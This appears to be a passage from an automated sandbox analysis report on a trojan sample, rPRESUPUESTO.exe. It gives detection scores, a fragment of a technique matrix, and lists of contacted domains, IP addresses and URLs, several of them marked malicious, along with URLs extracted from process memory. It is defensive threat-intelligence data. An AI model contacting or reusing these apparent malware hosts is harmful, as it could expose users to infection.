IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Timestomp	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 DLL Side-Loading	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rPRESUPUESTO.exe	68%	ReversingLabs	Win32.Trojan.Leonem
rPRESUPUESTO.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://www.active24.com/webforward-mailforward	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/806087-Z%c3%a1kladn%c3%ad-informace	0%	Avira URL Cloud	safe
https://webftp.active24.com/	0%	Avira URL Cloud	safe
http://www.rlplatro.sbs/hpa2/	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-apple-favicon-57x57.png	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/162807-DNS-hosting?l=cs	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-favicon-32x32.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-favicon-16x16.png	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://mssql.active24.com/	0%	Avira URL Cloud	safe
https://www.active24.com/domeny#m-certifikace	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/default-domain/free.png	0%	Avira URL Cloud	safe
http://www.transelva.com/edi4/	0%	Avira URL Cloud	safe
https://www.active24.com/domeny	0%	Avira URL Cloud	safe
https://active24.com/cssc/a21/main.less?v=7d8e320747f67055c1a1008fbc40d0c1	0%	Avira URL Cloud	safe
http://www.xsemckm.sbs/pyns/	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-apple-favicon-152x152.png	0%	Avira URL Cloud	safe
http://www.quantumvoil.xyz/gb2c/	0%	Avira URL Cloud	safe
http://www.coinmao.com/irbt/	0%	Avira URL Cloud	safe
http://www.203av.com/dy54/	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://www.genesiestudios.online/s29p/	100%	Avira URL Cloud	malware
https://www.active24.com/o-spolecnosti/obchodni-podminky	0%	Avira URL Cloud	safe
https://customer.active24.com/	0%	Avira URL Cloud	safe
https://gui.active24.cz/library/theme/hp16/style.css	0%	Avira URL Cloud	safe
http://gq64q4.cn/user/design/clas/euse/sksueqquqf/81	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-apple-favicon-180x180.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-apple-favicon-114x114.png	0%	Avira URL Cloud	safe
https://active24.cz/objednavka/domain/availability/list	0%	Avira URL Cloud	safe
https://gui.active24.cz/font/active24-icons.eot	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/045021-Webov%c3%a9-str%c3%a1nky-a-E-shopy	0%	Avira URL Cloud	safe
https://www.active24.com/o-spolecnosti/media	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/085122-Hosting-a-Servery	0%	Avira URL Cloud	safe
https://gui.active24.cz/font/active24-icons.woff	0%	Avira URL Cloud	safe
https://www.active24.com/o-spolecnosti/kontakty	0%	Avira URL Cloud	safe
https://www.active24.com/weby/mojestranky	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-favicon-96x96.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-apple-favicon-76x76.png	0%	Avira URL Cloud	safe
https://www.active24.com/jak-na-tvorbu-webu	0%	Avira URL Cloud	safe
https://www.transelva.com/edi4/?4dV43tA=NUWN0h33C1Yyooj/Nqm5TKnDvFAfPsTlu/xXoo6GTaC/958/rmN21lJSbp33	0%	Avira URL Cloud	safe
http://www.genesiestudios.online	100%	Avira URL Cloud	malware
https://www.active24.com/o-spolecnosti/rikaji-o-nas-zakaznici	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-apple-favicon-60x60.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/default-domain/dnssec.png	0%	Avira URL Cloud	safe
https://www.active24.com/o-spolecnosti/kariera	0%	Avira URL Cloud	safe
http://www.gsdaluan.shop/8urb/	100%	Avira URL Cloud	malware
https://gui.active24.cz/img/icon/a24-apple-favicon-120x120.png	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/808905-E-mailov%c3%a1-%c5%99e%c5%a1en%c3%ad	0%	Avira URL Cloud	safe
https://gui.active24.cz/font/active24-icons.svg	0%	Avira URL Cloud	safe
https://www.active24.com/o-spolecnosti	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/webmail_ikony_vlajky.png)	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-ms-icon-144x144.png	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/939671-Fakturace-a-platby	0%	Avira URL Cloud	safe
https://www.active24.com/dnssec	0%	Avira URL Cloud	safe
http://www.hydrogenmovie.com/vi6c/	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/932337-Spolupr%c3%a1ce	0%	Avira URL Cloud	safe
https://gui.active24.cz/font/active24-icons.ttf	0%	Avira URL Cloud	safe
https://www.active24.com/klientska-zona/zakaznicka-podpora	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/757409-Bezpe%c4%8dnost	0%	Avira URL Cloud	safe
http://www.atmpla.net/n983/	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/default-domain/dns.png	0%	Avira URL Cloud	safe
https://blog.active24.cz//	0%	Avira URL Cloud	safe
https://faq.active24.com/cz/920729-Dom%c3%a9ny-a-DNS	0%	Avira URL Cloud	safe
https://www.active24.com/objednavka/login	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/default-domain/superpage.png	0%	Avira URL Cloud	safe
https://webmail.active24.com/	0%	Avira URL Cloud	safe
http://ww7.europedriveguide.com/2pcd/?4dV43tA=tIH23YAAyU0vk1VwVlLsnDkrzub9KGyrHgMKKMQURaOCIZhbg0Upzh	0%	Avira URL Cloud	safe
https://mysql.active24.com/	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/default-domain/image.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-apple-favicon-144x144.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/default-domain/notify.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/css/landing.css	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/default-domain/redirect.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-favicon-192x192.png	0%	Avira URL Cloud	safe
https://gui.active24.cz/img/icon/a24-apple-favicon-72x72.png	0%	Avira URL Cloud	safe
https://www.active24.com	0%	Avira URL Cloud	safe
https://www.superstranka.cz/	0%	Avira URL Cloud	safe
https://www.active24.com/spoluprace	0%	Avira URL Cloud	safe
http://www.europedriveguide.com/2pcd/	0%	Avira URL Cloud	safe
http://www.mommysdaycare.net/k4dg/	0%	Avira URL Cloud	safe
https://www.active24.com/upozorneni	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
225.jtrhc.fun	192.207.62.21	true	true	unknown
www.mommysdaycare.net	199.59.243.226	true	true	unknown
www.coinmao.com	192.227.175.142	true	true	unknown
www.quantumvoil.xyz	203.161.62.199	true	true	unknown
genesiestudios.online	31.186.11.254	true	true	unknown
www.atmpla.net	103.224.182.246	true	true	unknown
2xin3.zhanghonghong.com	122.10.13.122	true	true	unknown
www.203av.com	45.207.12.95	true	true	unknown
www.b6fbly7u.shop	121.254.178.238	true	true	unknown
www.europedriveguide.com	72.52.179.174	true	true	unknown
www.xsemckm.sbs	47.242.109.15	true	true	unknown
www.rlplatro.sbs	109.123.121.243	true	true	unknown
www.transelva.com	74.208.236.72	true	true	unknown
www.hydrogenmovie.com	81.95.96.29	true	true	unknown
www.tcqlk.com	unknown	unknown	true	unknown
www.genesiestudios.online	unknown	unknown	true	unknown
www.gsdaluan.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.rlplatro.sbs/hpa2/	true	Avira URL Cloud: safe	unknown
http://www.transelva.com/edi4/	true	Avira URL Cloud: safe	unknown
http://www.coinmao.com/irbt/	true	Avira URL Cloud: safe	unknown
http://www.xsemckm.sbs/pyns/	true	Avira URL Cloud: safe	unknown
http://www.quantumvoil.xyz/gb2c/	true	Avira URL Cloud: safe	unknown
http://www.genesiestudios.online/s29p/	true	Avira URL Cloud: malware	unknown
http://www.203av.com/dy54/	true	Avira URL Cloud: safe	unknown
http://www.gsdaluan.shop/8urb/	true	Avira URL Cloud: malware	unknown
http://www.hydrogenmovie.com/vi6c/	true	Avira URL Cloud: safe	unknown
http://www.atmpla.net/n983/	true	Avira URL Cloud: safe	unknown
http://www.europedriveguide.com/2pcd/	true	Avira URL Cloud: safe	unknown
http://www.mommysdaycare.net/k4dg/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://faq.active24.com/cz/162807-DNS-hosting?l=cs	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-favicon-16x16.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://webftp.active24.com/	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-57x57.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-favicon-32x32.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://faq.active24.com/cz/806087-Z%c3%a1kladn%c3%ad-informace	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/webforward-mailforward	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mssql.active24.com/	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/domeny#m-certifikace	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/default-domain/free.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://active24.com/cssc/a21/main.less?v=7d8e320747f67055c1a1008fbc40d0c1	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-152x152.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/domeny	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	ktmutil.exe, 00000009.00000002.4589157081.0000000004032000.00000004.10000000.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004012000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gq64q4.cn/user/design/clas/euse/sksueqquqf/81	ktmutil.exe, 00000009.00000002.4589157081.0000000003EA0000.00000004.10000000.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000003E80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/o-spolecnosti/obchodni-podminky	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/library/theme/hp16/style.css	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://customer.active24.com/	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-114x114.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-180x180.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://active24.cz/objednavka/domain/availability/list	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/font/active24-icons.eot	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/o-spolecnosti/media	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://faq.active24.com/cz/045021-Webov%c3%a9-str%c3%a1nky-a-E-shopy	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://faq.active24.com/cz/085122-Hosting-a-Servery	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/font/active24-icons.woff	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/o-spolecnosti/kontakty	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/weby/mojestranky	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-favicon-96x96.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-76x76.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.transelva.com/edi4/?4dV43tA=NUWN0h33C1Yyooj/Nqm5TKnDvFAfPsTlu/xXoo6GTaC/958/rmN21lJSbp33	MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000003CEE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/jak-na-tvorbu-webu	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rPRESUPUESTO.exe, 00000000.00000002.2154526498.0000000002951000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.genesiestudios.online	MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4590404042.00000000055B8000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.active24.com/o-spolecnosti/rikaji-o-nas-zakaznici	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-60x60.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/o-spolecnosti/kariera	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/default-domain/dnssec.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://faq.active24.com/cz/808905-E-mailov%c3%a1-%c5%99e%c5%a1en%c3%ad	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-120x120.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/font/active24-icons.svg	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/webmail_ikony_vlajky.png)	MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/o-spolecnosti	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-ms-icon-144x144.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://faq.active24.com/cz/932337-Spolupr%c3%a1ce	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
